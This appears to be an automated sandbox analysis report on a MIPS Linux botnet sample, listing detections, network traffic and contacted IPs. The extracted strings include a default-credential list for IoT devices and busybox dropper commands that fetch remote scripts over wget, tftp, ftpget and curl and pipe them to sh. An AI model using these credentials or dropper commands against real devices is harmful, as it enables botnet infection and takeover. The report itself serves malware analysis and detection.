Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name: la.bot.mips.elf
Analysis ID: 1542529
MD5: e7694dbd9ae7670475701e8bdbea9bb6
SHA1: 4f7a9b676a229d873141d0f26690048a86aee9ec
SHA256: 2562bce0b7dcf527830031564f882bf07299eb81bb8b0a76ccb085ff0b826122
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mips.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mips.elf ReversingLabs: Detection: 36%
Found strings indicative of a multi-platform dropper
Source: la.bot.mips.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mips.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mips.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.13.91 ports 1,5,7,8,9,15987
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:35708 -> 156.244.13.91:15987
Sample listens on a socket
Source: /tmp/la.bot.mips.elf (PID: 6257) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 140.142.28.152
Source: unknown TCP traffic detected without corresponding DNS query: 140.142.28.152
Source: unknown TCP traffic detected without corresponding DNS query: 67.83.246.85
Source: unknown TCP traffic detected without corresponding DNS query: 67.83.246.85
Source: unknown TCP traffic detected without corresponding DNS query: 104.44.72.122
Source: unknown TCP traffic detected without corresponding DNS query: 68.19.47.236
Source: unknown TCP traffic detected without corresponding DNS query: 104.44.72.122
Source: unknown TCP traffic detected without corresponding DNS query: 99.211.7.175
Source: unknown TCP traffic detected without corresponding DNS query: 68.19.47.236
Source: unknown TCP traffic detected without corresponding DNS query: 4.171.213.125
Source: unknown TCP traffic detected without corresponding DNS query: 99.211.7.175
Source: unknown TCP traffic detected without corresponding DNS query: 64.254.189.66
Source: unknown TCP traffic detected without corresponding DNS query: 137.255.168.109
Source: unknown TCP traffic detected without corresponding DNS query: 4.171.213.125
Source: unknown TCP traffic detected without corresponding DNS query: 64.254.189.66
Source: unknown TCP traffic detected without corresponding DNS query: 98.48.12.86
Source: unknown TCP traffic detected without corresponding DNS query: 137.255.168.109
Source: unknown TCP traffic detected without corresponding DNS query: 134.171.191.132
Source: unknown TCP traffic detected without corresponding DNS query: 192.175.13.163
Source: unknown TCP traffic detected without corresponding DNS query: 98.48.12.86
Source: unknown TCP traffic detected without corresponding DNS query: 174.179.150.187
Source: unknown TCP traffic detected without corresponding DNS query: 145.231.235.81
Source: unknown TCP traffic detected without corresponding DNS query: 134.171.191.132
Source: unknown TCP traffic detected without corresponding DNS query: 192.175.13.163
Source: unknown TCP traffic detected without corresponding DNS query: 39.63.159.125
Source: unknown TCP traffic detected without corresponding DNS query: 21.166.166.70
Source: unknown TCP traffic detected without corresponding DNS query: 174.179.150.187
Source: unknown TCP traffic detected without corresponding DNS query: 145.231.235.81
Source: unknown TCP traffic detected without corresponding DNS query: 92.184.148.51
Source: unknown TCP traffic detected without corresponding DNS query: 179.70.236.192
Source: unknown TCP traffic detected without corresponding DNS query: 39.63.159.125
Source: unknown TCP traffic detected without corresponding DNS query: 21.166.166.70
Source: unknown TCP traffic detected without corresponding DNS query: 125.104.247.195
Source: unknown TCP traffic detected without corresponding DNS query: 92.184.148.51
Source: unknown TCP traffic detected without corresponding DNS query: 203.39.76.13
Source: unknown TCP traffic detected without corresponding DNS query: 179.70.236.192
Source: unknown TCP traffic detected without corresponding DNS query: 125.104.247.195
Source: unknown TCP traffic detected without corresponding DNS query: 177.9.69.232
Source: unknown TCP traffic detected without corresponding DNS query: 203.39.76.13
Source: unknown TCP traffic detected without corresponding DNS query: 18.16.131.95
Source: unknown TCP traffic detected without corresponding DNS query: 177.9.69.232
Source: unknown TCP traffic detected without corresponding DNS query: 94.230.53.76
Source: unknown TCP traffic detected without corresponding DNS query: 50.167.124.207
Source: unknown TCP traffic detected without corresponding DNS query: 18.16.131.95
Source: unknown TCP traffic detected without corresponding DNS query: 203.133.73.12
Source: unknown TCP traffic detected without corresponding DNS query: 94.230.53.76
Source: unknown TCP traffic detected without corresponding DNS query: 205.5.80.179
Source: unknown TCP traffic detected without corresponding DNS query: 50.167.124.207
Source: unknown TCP traffic detected without corresponding DNS query: 208.125.1.106
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: la.bot.mips.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mips.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mips.elf (PID: 6259) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@1/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.mips.elf (PID: 6261) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6261) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.mips.elf (PID: 6261) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mips.elf (PID: 6257) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mips.elf, 6257.1.000056024d88a000.000056024d931000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6257.1.000056024d88a000.000056024d931000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6257.1.00007fffc5c82000.00007fffc5ca3000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
Source: la.bot.mips.elf, 6257.1.00007fffc5c82000.00007fffc5ca3000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
111.42.27.92
 unknown China
132525 CMNET-HEILONGJIANG-CNHeiLongJiangMobileCommunicationComp false
216.167.46.249
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
206.130.32.28
 unknown Canada
3561 CENTURYLINK-LEGACY-SAVVISUS false
214.45.221.85
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
186.225.181.18
 unknown Brazil
263099 STIWSistemadeTelecomInfeWirelessLTDABR false
207.254.176.93
 unknown United States
19174 AS19174US false
164.92.166.91
 unknown United States
46930 ASN-DPSDUS false
122.227.137.141
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
202.255.107.26
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
31.223.164.169
 unknown Netherlands
28878 SIGNET-ASNL false
47.6.200.154
 unknown United States
20115 CHARTER-20115US false
148.30.150.81
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
113.144.128.247
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
106.9.191.66
 unknown China
4809 CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr false
219.249.83.255
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
9.205.223.5
 unknown United States
3356 LEVEL3US false
222.130.26.224
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
171.229.1.242
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
73.19.165.46
 unknown United States
7922 COMCAST-7922US false
166.111.46.99
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
20.164.170.57
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
80.28.161.178
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
143.205.242.79
 unknown Austria
1111 UniversityofKlagenfurtAT false
138.113.180.133
 unknown United States
776 FR-INRIA-SOPHIAINRIASophia-AntipolisEU false
8.110.14.131
 unknown United States
3356 LEVEL3US false
50.50.13.188
 unknown United States
7011 FRONTIER-AND-CITIZENSUS false
58.69.246.114
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
134.8.75.35
 unknown United States
15395 RACKSPACE-LONGB false
217.134.144.121
 unknown United Kingdom
1680 NV-ASNCELLCOMltdIL false
96.245.50.150
 unknown United States
701 UUNETUS false
56.157.218.221
 unknown United States
2686 ATGS-MMD-ASUS false
164.74.64.180
 unknown United States
14235 STATE-NM-US false
33.188.96.250
 unknown United States
2686 ATGS-MMD-ASUS false
8.9.170.106
 unknown United States
62738 ZOCHNET1US false
218.41.122.28
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
18.246.121.157
 unknown United States
16509 AMAZON-02US false
217.79.155.221
 unknown Poland
51060 LANDTECH-ASPL false
99.123.206.212
 unknown United States
7018 ATT-INTERNET4US false
203.82.249.225
 unknown India
23994 TRANSWORKS-TRANSIT-AS-APConcentrixServicesIndiaPrivateL false
120.250.248.102
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
70.253.182.213
 unknown United States
7018 ATT-INTERNET4US false
212.232.90.187
 unknown Germany
12897 HEAGMEDIANETDarmstadtGermanyDE false
210.98.176.15
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
137.125.105.73
 unknown United States
32136 FARMINGDALESTATEUS false
178.118.53.21
 unknown Belgium
6848 TELENET-ASBE false
33.81.198.66
 unknown United States
2686 ATGS-MMD-ASUS false
4.235.93.96
 unknown United States
3356 LEVEL3US false
102.32.51.195
 unknown South Africa
327782 METROFIBRE-NETWORXZA false
133.181.135.133
 unknown Japan 385 AFCONC-BLOCK1-ASUS false
96.57.63.171
 unknown United States
6128 CABLE-NET-1US false
124.3.30.11
 unknown Korea Republic of
18302 SKG_NW-AS-KRSKTelecomKR false
144.5.170.218
 unknown United States
1759 TSF-IP-CORETeliaFinlandOyjEU false
134.172.241.93
 unknown United States
18128 RIKENRIKENPhysicalandChemicalResearchInstituteJP false
120.135.228.165
 unknown China
4835 CHINANET-IDC-SNChinaTelecomGroupCN false
128.152.112.190
 unknown United States
542 ARNETCA false
171.50.131.240
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
148.60.140.116
 unknown France
2200 FR-RENATERReseauNationaldetelecommunicationspourlaTec false
182.245.181.67
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
76.243.85.115
 unknown United States
7018 ATT-INTERNET4US false
175.22.191.72
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
114.74.244.87
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
106.142.44.194
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
97.140.73.234
 unknown United States
6167 CELLCO-PARTUS false
200.209.15.218
 unknown Brazil
4230 CLAROSABR false
82.251.220.47
 unknown France
12322 PROXADFR false
151.50.28.101
 unknown Italy
